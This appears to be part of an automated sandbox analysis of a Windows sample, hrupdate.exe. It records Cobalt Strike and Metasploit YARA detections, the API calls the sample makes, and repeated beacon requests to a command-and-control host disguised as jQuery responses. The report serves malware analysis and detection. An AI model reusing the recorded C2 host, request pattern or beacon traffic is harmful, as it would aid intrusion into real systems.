Dec 19, 2024 22:47:44.887646914 CET	1236	IN	Data Raw: c7 0e 71 52 bb e5 62 61 e2 f1 04 1b 1d 7b 7d f4 97 06 99 76 1d f1 8e 88 26 1e 28 56 21 e6 d0 24 e2 0e 54 f5 1d f1 0e c8 b7 85 9d 88 0e 4a 22 5d b5 66 99 2f e2 0e 99 60 68 0e 71 80 12 c9 75 2f e2 0f 71 0b b4 e6 53 87 e2 0e ce 8b e2 0e 71 5c b4 87 Data Ascii: qRba{}v&(V!$TJ"]f/`hqu/qSq\4dQ]kKqak(:4(.qaWN4dY]kK"q.nXVaRqC(uUhcq2;{uK(qd7
Dec 19, 2024 22:47:44.888118982 CET	1236	IN	Data Raw: e2 0e f2 36 1a 3c 75 1b e2 01 f6 fa 1f f1 8e e3 1e 2f 71 0b 0a af 84 0b e2 51 2f 50 2b cd 24 80 0e 8d 9d 1b b4 59 8e 7e ea e6 49 8d e2 0e fa fb aa 57 05 0d aa 7b 7c 5b 09 0c 1b 0a 0a 06 a8 0b e2 8d b5 0f 0a 1d a8 0b e2 85 89 86 a7 fe 1b 1a b2 e6 Data Ascii: 6<u/qQ/P+$Y~IW{\|[~4QNX!qoKa^q&[~#%N!_q[e4TQ/![c"]fBoU"[mNNF]!sa}aoUeqR
Dec 19, 2024 22:47:44.888154030 CET	896	IN	Data Raw: ee 0e 71 5b 6f 4b 81 e3 e9 02 71 0b b2 e6 53 fd 1d f1 fc 4e 12 5e 99 d7 e9 0e 71 88 26 1e 2e 55 2b cd d0 e7 56 0a 61 62 2b f6 71 0b e2 67 a3 f3 e2 0e 71 5d b5 64 4f 86 9e 0f 61 52 6f 7a 73 1b 11 ab 2e 55 21 85 7c e7 56 0a 61 62 22 f6 71 0b e2 66 Data Ascii: q[oKqSN^q&.U+Vab+qgq]dOaRozs.U!\|Vab"qfOu=87qu0k^!k^y[Htq0SnrU![c"]f!sa}ao`qR~dta%(qbq~dra
Dec 19, 2024 22:47:44.888190031 CET	1236	IN	Data Raw: 58 1e 6e 0b e2 72 fd e0 37 83 34 ef 8a 0e 70 0b e2 5e 99 cc e4 0e 71 f4 97 02 fc 4e 06 5e 99 00 e5 0e 71 f4 97 1e fc 4e 06 5e 99 f4 e4 0e 71 86 a7 ea 1b 1b b2 e6 85 0d e2 0e 8e 7e 16 83 34 ef b2 e6 99 0d e2 0e 8e 7e 1a 83 34 ef b2 e6 ad 0d e2 0e Data Ascii: Xnr74p^qN^qN^q~4~4dZ0q[oKq74(TU~p<<]'\Yq]Bo'[e]d1'[eq~qqWiqRsd
Dec 19, 2024 22:47:44.888925076 CET	1236	IN	Data Raw: b4 59 99 3b 1c f1 8e e0 23 64 70 61 83 e6 bd 18 e2 0e 28 52 bb cd fa f4 b5 28 71 1b 86 28 71 1b 8f 28 71 1b 94 28 71 1b 62 28 71 1b 68 28 71 1b 76 28 71 1b 76 28 71 1b b7 85 9d 88 0e 1e 27 5c 1d 7b 7d 86 a7 fe 8e 7e ea 5e 99 dd 9a 0e 71 86 a7 fe Data Ascii: Y;#dpa(R(q(q(q(qb(qh(qv(qv(q'\{}~^q^qCzjCnxqdsUosNdp[W(T^iN9h10{]pX~ssS^i'8X"qRgTX']q&!]X2KFqa}[X~=H9
Dec 19, 2024 22:47:44.888961077 CET	1236	IN	Data Raw: b7 85 9d 5a b1 58 26 e3 42 98 71 0b 6b 4b 8d 8e 22 70 23 80 bf 1e fc 70 ea 59 99 78 6c 0f 71 80 12 57 f4 fd 96 5e 8e 7e 1e e6 ae 73 e0 0e 8e 7e ea 87 77 e3 37 76 73 0b b1 f1 04 07 6b 48 75 86 a4 06 21 e3 6d f7 70 0b 88 37 26 5d 0a b5 99 f4 1d 59 Data Ascii: ZX&BqkK"p#pYxlqW^~s~w7vskHu!mp7&]Y'paY{a&.U^iqoq}\qq(vi!'q&N(WT^i~${i~{~XXS^i~4{m
Dec 19, 2024 22:47:44.888993979 CET	1236	IN	Data Raw: d9 fd 7e 8f 23 0e 71 0b db 53 7d 7e 8e 37 2c f3 96 69 17 88 1a 0c 05 5f 88 22 28 e3 82 bf 71 0b 88 25 28 6d 6b 4b 7b e3 b6 bf 71 0b 84 85 3c 01 84 35 b0 7f d5 83 34 f7 b2 64 5a 52 0a 31 c0 0b e2 01 c6 cb b2 f1 44 3b 94 0a 61 5d b1 e6 57 c2 e2 0e Data Ascii: ~#qS}~7,i_"(q%(mkK{q<54dZR1D;a]W~dp\>xu;A}"]zh{x]PW0(?a0!zl]^Vs;E}RskE}]'qa}"l;aTU"\#(Eq{}~4!
Dec 19, 2024 22:47:44.889637947 CET	1236	IN	Data Raw: 22 70 6b 5b 69 48 3d f4 94 3a 72 cc b2 e6 6c fb e3 0e fa 4d ae 8d b5 07 e1 c9 f8 4d d6 3d b1 4b bd 55 b8 c8 b7 85 9d 88 0e 2e f2 6e 1a 0e 22 80 bf 06 27 5c 1d 7d 49 86 a7 ea 8e 78 d6 5e 99 6d 88 0e 71 88 26 02 fc 4e 06 64 61 5b 0a ad 1a 0b e2 57 Data Ascii: "pk[iH=:rlMM=KU.n"'\}Ix^mq&Nda[W(4csiEuBcpiEeqg-p:/i~qm~qamiu}#g~wqmiue<t0{t]uhJpq5~G
Dec 19, 2024 22:47:45.007430077 CET	1236	IN	Data Raw: 1a 8d 9d 1b 6f 0a 55 63 e2 06 71 0b b2 e6 d9 e5 1d f1 8e 7e ea 83 35 2f ee 5e 99 e0 0c f1 8e f4 97 02 fc 4f c6 1a 21 e3 3c e0 8e f4 1d 7b 61 86 a6 2a 6d 5b 0a df 9f f4 1d 8d b5 2b 61 73 65 0b 96 2e fa 4e f6 83 21 0a 68 06 31 8f 2b 7b 88 20 20 5e Data Ascii: oUcq~5/^O!<{a*m[+ase.N!h1+{ ^~5/^&oJU^O[oU[W$dqa{yaaV![{}adqO&,{a'&,a{}&,8"^!

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49946	3.79.209.76	443	6664	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:47:47 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtk User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:47:48 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:47:47 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5671 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:47:48 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49979	3.79.209.76	443	6664	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:48:03 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtk User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:48:03 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:48:03 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5692 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:48:03 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49980	3.79.209.76	443	6664	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:48:14 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtk User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:48:15 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:48:15 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5692 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:48:15 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49981	3.79.209.76	443	6664	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:48:28 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtk User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:48:29 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:48:29 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5649 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:48:29 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49982	3.79.209.76	443	6664	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:48:45 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtk User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:48:46 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:48:46 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5649 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:48:46 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Target ID:	0
Start time:	16:45:40
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\hrupdate.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\hrupdate.exe"
Imagebase:	0x670000
File size:	244'224 bytes
MD5 hash:	03B14E9338A1C9E5551F9450207F6D84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.3588908785.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.3588908785.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.3567810102.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.3567810102.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.3867809207.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.3867809207.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.3897384147.00000000046CE000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000002.3897384147.00000000046CE000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.3896833882.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000002.3896833882.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8.8%
Dynamic/Decrypted Code Coverage:	85.4%
Signature Coverage:	11.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	49

Executed Functions

Function 00671CA0 Relevance: 65.5, APIs: 31, Strings: 6, Instructions: 786networkstringCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,?,?,A92820B5,?,00000000), ref: 00671DC4
memcpy.VCRUNTIME140(00000000,00000001,00000001,00000000,00000000,?,?,A92820B5,?,00000000), ref: 00671DFD

Part of subcall function 00672730: memcpy.VCRUNTIME140(00000000,00000000,?,00000000,?,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 0067275D

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,00000000,00000000,?,?,A92820B5,?,00000000), ref: 00671EC0
memcpy.VCRUNTIME140(00000000,00000001,00000001,00000000,00000000,00000000,00000000,?,?,A92820B5,?,00000000), ref: 00671EFB
memchr.VCRUNTIME140 ref: 00671F1C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,A92820B5,?,00000000), ref: 00671F9B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,A92820B5,?,00000000), ref: 0067201C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,A92820B5), ref: 006720CB
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(006742CD,00000000,00674308,00000001,00000000,00000000,00000000,00000000,?,?,A92820B5,?,00000000), ref: 0067213B
socket.WS2_32(00000002,00000001,00000006), ref: 00672259
inet_addr.WS2_32(00000000), ref: 00672273
gethostbyname.WS2_32(00000000), ref: 0067227B
inet_addr.WS2_32(00000000), ref: 00672283
gethostbyaddr.WS2_32(?,00000004,00000002), ref: 00672296
htons.WS2_32(00000050), ref: 006722BB
connect.WS2_32(00000000,?,00000010), ref: 006722D2

Part of subcall function 00672730: memcpy.VCRUNTIME140(00000000,00000000,?,00000000,?,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 0067280C

send.WS2_32(00000000,?,?,00000000), ref: 00672414
memset.VCRUNTIME140 ref: 00672429
recv.WS2_32(?,?,00000200,00000000), ref: 00672445
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 00672465
memcpy.VCRUNTIME140(?,?,00000000), ref: 0067247D
memset.VCRUNTIME140 ref: 00672495
recv.WS2_32(?,?,00000200,00000000), ref: 006724AC
strstr.VCRUNTIME140 ref: 006724C7
strstr.VCRUNTIME140 ref: 006724DA
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 00672508
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,-00000004), ref: 00672530
closesocket.WS2_32(?), ref: 00672563
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00672595
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 006725D1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00672628

Strings

, xrefs: 006724D4
http://, xrefs: 00671D52
https://, xrefs: 00671E4B
, xrefs: 006724C1
GET %s HTTP/1.0, xrefs: 00672307
Host: %s, xrefs: 00672376

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
